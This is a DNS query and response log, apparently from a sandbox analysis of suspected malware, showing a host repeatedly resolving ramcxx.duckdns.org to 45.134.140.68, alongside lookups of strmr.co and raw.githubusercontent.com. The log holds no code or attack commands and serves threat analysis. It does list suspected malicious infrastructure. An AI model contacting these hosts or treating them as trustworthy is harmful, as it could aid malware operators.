Sep 27, 2024 12:54:27.732548952 CEST	192.168.2.22	8.8.8.8	0x8401	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:28.737181902 CEST	192.168.2.22	8.8.8.8	0x8401	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:28.892606020 CEST	192.168.2.22	8.8.8.8	0x8401	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:28.940253019 CEST	192.168.2.22	8.8.8.8	0x8401	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.052012920 CEST	192.168.2.22	8.8.8.8	0xa311	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.062529087 CEST	192.168.2.22	8.8.8.8	0xa311	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.070456982 CEST	192.168.2.22	8.8.8.8	0xa311	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.078438997 CEST	192.168.2.22	8.8.8.8	0xa311	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.086441994 CEST	192.168.2.22	8.8.8.8	0xa311	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:31.113188028 CEST	192.168.2.22	8.8.8.8	0xa76b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:31.122487068 CEST	192.168.2.22	8.8.8.8	0xa76b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:31.130450964 CEST	192.168.2.22	8.8.8.8	0xa76b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:33.136409044 CEST	192.168.2.22	8.8.8.8	0xa76b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:33.143716097 CEST	192.168.2.22	8.8.8.8	0xa76b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:37.150149107 CEST	192.168.2.22	8.8.8.8	0x4909	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:38.159568071 CEST	192.168.2.22	8.8.8.8	0x4909	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:39.173758984 CEST	192.168.2.22	8.8.8.8	0x4909	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:41.186692953 CEST	192.168.2.22	8.8.8.8	0x4909	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:45.195664883 CEST	192.168.2.22	8.8.8.8	0x4909	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:50.229626894 CEST	192.168.2.22	8.8.8.8	0x9480	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:51.232441902 CEST	192.168.2.22	8.8.8.8	0x9480	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:52.246438026 CEST	192.168.2.22	8.8.8.8	0x9480	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:54.258888960 CEST	192.168.2.22	8.8.8.8	0x9480	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:58.268059015 CEST	192.168.2.22	8.8.8.8	0x9480	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:03.301217079 CEST	192.168.2.22	8.8.8.8	0xb0b2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:04.305310965 CEST	192.168.2.22	8.8.8.8	0xb0b2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:04.344793081 CEST	192.168.2.22	8.8.8.8	0xb0b2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:06.350426912 CEST	192.168.2.22	8.8.8.8	0xb0b2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:10.362447977 CEST	192.168.2.22	8.8.8.8	0xb0b2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:15.390448093 CEST	192.168.2.22	8.8.8.8	0x52bb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:16.395597935 CEST	192.168.2.22	8.8.8.8	0x52bb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:17.409342051 CEST	192.168.2.22	8.8.8.8	0x52bb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:19.421729088 CEST	192.168.2.22	8.8.8.8	0x52bb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:23.579483986 CEST	192.168.2.22	8.8.8.8	0xe5dd	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:24.585375071 CEST	192.168.2.22	8.8.8.8	0xe5dd	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:25.599361897 CEST	192.168.2.22	8.8.8.8	0xe5dd	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:27.614471912 CEST	192.168.2.22	8.8.8.8	0xe5dd	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:31.628994942 CEST	192.168.2.22	8.8.8.8	0xe5dd	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:36.654397011 CEST	192.168.2.22	8.8.8.8	0x95b0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:37.658185005 CEST	192.168.2.22	8.8.8.8	0x95b0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:38.672278881 CEST	192.168.2.22	8.8.8.8	0x95b0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:40.684618950 CEST	192.168.2.22	8.8.8.8	0x95b0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:44.695904016 CEST	192.168.2.22	8.8.8.8	0x95b0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:49.722269058 CEST	192.168.2.22	8.8.8.8	0x6c17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:50.731075048 CEST	192.168.2.22	8.8.8.8	0x6c17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:51.745053053 CEST	192.168.2.22	8.8.8.8	0x6c17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:52.888044119 CEST	192.168.2.22	8.8.8.8	0x6c17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:56.893054008 CEST	192.168.2.22	8.8.8.8	0x6c17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:02.271735907 CEST	192.168.2.22	8.8.8.8	0x2237	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:03.273533106 CEST	192.168.2.22	8.8.8.8	0x2237	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:04.287553072 CEST	192.168.2.22	8.8.8.8	0x2237	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:06.320796967 CEST	192.168.2.22	8.8.8.8	0x2237	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:10.324693918 CEST	192.168.2.22	8.8.8.8	0x2237	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:15.357745886 CEST	192.168.2.22	8.8.8.8	0x7709	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:16.362016916 CEST	192.168.2.22	8.8.8.8	0x7709	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:17.376002073 CEST	192.168.2.22	8.8.8.8	0x7709	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:19.388431072 CEST	192.168.2.22	8.8.8.8	0x7709	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:56:23.397835016 CEST	192.168.2.22	8.8.8.8	0x7709	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 12:51:31.117337942 CEST	8.8.8.8	192.168.2.22	0x2e9d	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:31.117337942 CEST	8.8.8.8	192.168.2.22	0x2e9d	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:33.772002935 CEST	8.8.8.8	192.168.2.22	0xe9dd	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:33.772002935 CEST	8.8.8.8	192.168.2.22	0xe9dd	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:35.529005051 CEST	8.8.8.8	192.168.2.22	0x1803	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:35.529005051 CEST	8.8.8.8	192.168.2.22	0x1803	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:35.538244963 CEST	8.8.8.8	192.168.2.22	0x9f72	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:35.538244963 CEST	8.8.8.8	192.168.2.22	0x9f72	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:39.595208883 CEST	8.8.8.8	192.168.2.22	0xc083	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:39.595208883 CEST	8.8.8.8	192.168.2.22	0xc083	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:39.608285904 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:39.608285904 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:40.933341980 CEST	8.8.8.8	192.168.2.22	0xb6ec	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:40.933341980 CEST	8.8.8.8	192.168.2.22	0xb6ec	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:40.942069054 CEST	8.8.8.8	192.168.2.22	0xd97e	No error (0)	strmr.co		172.67.179.215	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:40.942069054 CEST	8.8.8.8	192.168.2.22	0xd97e	No error (0)	strmr.co		104.21.64.88	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:50.211376905 CEST	8.8.8.8	192.168.2.22	0xbf08	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:50.211376905 CEST	8.8.8.8	192.168.2.22	0xbf08	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:50.211376905 CEST	8.8.8.8	192.168.2.22	0xbf08	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:50.211376905 CEST	8.8.8.8	192.168.2.22	0xbf08	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:01.689421892 CEST	8.8.8.8	192.168.2.22	0x52f	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:02.688401937 CEST	8.8.8.8	192.168.2.22	0x52f	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:03.702383995 CEST	8.8.8.8	192.168.2.22	0x52f	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:03.817558050 CEST	8.8.8.8	192.168.2.22	0x52f	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:07.701378107 CEST	8.8.8.8	192.168.2.22	0x4a17	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:08.709635973 CEST	8.8.8.8	192.168.2.22	0x4a17	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:09.107887983 CEST	8.8.8.8	192.168.2.22	0x63c2	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:09.724097967 CEST	8.8.8.8	192.168.2.22	0x4a17	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:11.762531996 CEST	8.8.8.8	192.168.2.22	0x4a17	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:36.728404045 CEST	8.8.8.8	192.168.2.22	0x1d64	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:36.826630116 CEST	8.8.8.8	192.168.2.22	0x1d64	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:37.752424955 CEST	8.8.8.8	192.168.2.22	0xbd0c	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:38.740008116 CEST	8.8.8.8	192.168.2.22	0x1d64	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:40.752069950 CEST	8.8.8.8	192.168.2.22	0x1d64	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:00.368447065 CEST	8.8.8.8	192.168.2.22	0xf858	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:05.380186081 CEST	8.8.8.8	192.168.2.22	0xf858	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:06.385660887 CEST	8.8.8.8	192.168.2.22	0xf858	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:08.419262886 CEST	8.8.8.8	192.168.2.22	0xe15c	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:08.426491976 CEST	8.8.8.8	192.168.2.22	0xe15c	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:08.632849932 CEST	8.8.8.8	192.168.2.22	0xf858	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:10.386605978 CEST	8.8.8.8	192.168.2.22	0xf858	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:12.427447081 CEST	8.8.8.8	192.168.2.22	0xe15c	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:13.434952974 CEST	8.8.8.8	192.168.2.22	0xe15c	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:13.615089893 CEST	8.8.8.8	192.168.2.22	0xc5d3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:16.779191971 CEST	8.8.8.8	192.168.2.22	0xc5d3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:16.793035030 CEST	8.8.8.8	192.168.2.22	0xc5d3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.430013895 CEST	8.8.8.8	192.168.2.22	0xe15c	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.793962955 CEST	8.8.8.8	192.168.2.22	0xc5d3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.880947113 CEST	8.8.8.8	192.168.2.22	0x3de4	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.963257074 CEST	8.8.8.8	192.168.2.22	0x3de4	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.984709024 CEST	8.8.8.8	192.168.2.22	0x3de4	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.991823912 CEST	8.8.8.8	192.168.2.22	0x3de4	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.999262094 CEST	8.8.8.8	192.168.2.22	0x3de4	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:18.689536095 CEST	8.8.8.8	192.168.2.22	0xc5d3	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.089066982 CEST	8.8.8.8	192.168.2.22	0xb50e	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.099067926 CEST	8.8.8.8	192.168.2.22	0xb50e	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.106091022 CEST	8.8.8.8	192.168.2.22	0xb50e	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.119169950 CEST	8.8.8.8	192.168.2.22	0xb50e	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.131695986 CEST	8.8.8.8	192.168.2.22	0xb50e	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:21.254677057 CEST	8.8.8.8	192.168.2.22	0x7cdc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:21.262382984 CEST	8.8.8.8	192.168.2.22	0x7cdc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:26.034904003 CEST	8.8.8.8	192.168.2.22	0x7cdc	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:26.313342094 CEST	8.8.8.8	192.168.2.22	0x7cdc	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.099343061 CEST	8.8.8.8	192.168.2.22	0x7cdc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.105560064 CEST	8.8.8.8	192.168.2.22	0xe5b3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.121918917 CEST	8.8.8.8	192.168.2.22	0xe5b3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.130748987 CEST	8.8.8.8	192.168.2.22	0xe5b3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.138137102 CEST	8.8.8.8	192.168.2.22	0xe5b3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.145992994 CEST	8.8.8.8	192.168.2.22	0xe5b3	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.576081991 CEST	8.8.8.8	192.168.2.22	0xe41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.583595991 CEST	8.8.8.8	192.168.2.22	0xe41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.618961096 CEST	8.8.8.8	192.168.2.22	0xe41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.627381086 CEST	8.8.8.8	192.168.2.22	0xe41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.635029078 CEST	8.8.8.8	192.168.2.22	0xe41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:30.702874899 CEST	8.8.8.8	192.168.2.22	0xc01d	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:32.711815119 CEST	8.8.8.8	192.168.2.22	0xc01d	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:34.769220114 CEST	8.8.8.8	192.168.2.22	0xc01d	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:35.713361979 CEST	8.8.8.8	192.168.2.22	0xc01d	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:36.854726076 CEST	8.8.8.8	192.168.2.22	0xfd5a	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:37.734555006 CEST	8.8.8.8	192.168.2.22	0xc01d	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:38.870749950 CEST	8.8.8.8	192.168.2.22	0xfd5a	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:38.877532005 CEST	8.8.8.8	192.168.2.22	0xfd5a	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.890532970 CEST	8.8.8.8	192.168.2.22	0xd3cc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.898092985 CEST	8.8.8.8	192.168.2.22	0xd3cc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.905225039 CEST	8.8.8.8	192.168.2.22	0xd3cc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.913239956 CEST	8.8.8.8	192.168.2.22	0xd3cc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.923724890 CEST	8.8.8.8	192.168.2.22	0xd3cc	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:40.829200983 CEST	8.8.8.8	192.168.2.22	0xfd5a	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:41.861426115 CEST	8.8.8.8	192.168.2.22	0xfd5a	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:46.200342894 CEST	8.8.8.8	192.168.2.22	0xe95b	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:47.003608942 CEST	8.8.8.8	192.168.2.22	0xe95b	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:47.304478884 CEST	8.8.8.8	192.168.2.22	0xe95b	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:48.033371925 CEST	8.8.8.8	192.168.2.22	0xe95b	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:49.425704956 CEST	8.8.8.8	192.168.2.22	0x1d05	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:49.432674885 CEST	8.8.8.8	192.168.2.22	0x1d05	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:50.034231901 CEST	8.8.8.8	192.168.2.22	0xe95b	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:52.537024975 CEST	8.8.8.8	192.168.2.22	0x1d05	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:52.544259071 CEST	8.8.8.8	192.168.2.22	0x1d05	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:53.939667940 CEST	8.8.8.8	192.168.2.22	0x1d05	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.031927109 CEST	8.8.8.8	192.168.2.22	0xf155	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.039519072 CEST	8.8.8.8	192.168.2.22	0xf155	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.048127890 CEST	8.8.8.8	192.168.2.22	0xf155	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.055480003 CEST	8.8.8.8	192.168.2.22	0xf155	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.062772989 CEST	8.8.8.8	192.168.2.22	0xf155	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.264687061 CEST	8.8.8.8	192.168.2.22	0xd268	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.271814108 CEST	8.8.8.8	192.168.2.22	0xd268	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.278295040 CEST	8.8.8.8	192.168.2.22	0xd268	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.285697937 CEST	8.8.8.8	192.168.2.22	0xd268	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.351878881 CEST	8.8.8.8	192.168.2.22	0xd268	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.300039053 CEST	8.8.8.8	192.168.2.22	0xbd41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.310620070 CEST	8.8.8.8	192.168.2.22	0xbd41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.321315050 CEST	8.8.8.8	192.168.2.22	0xbd41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
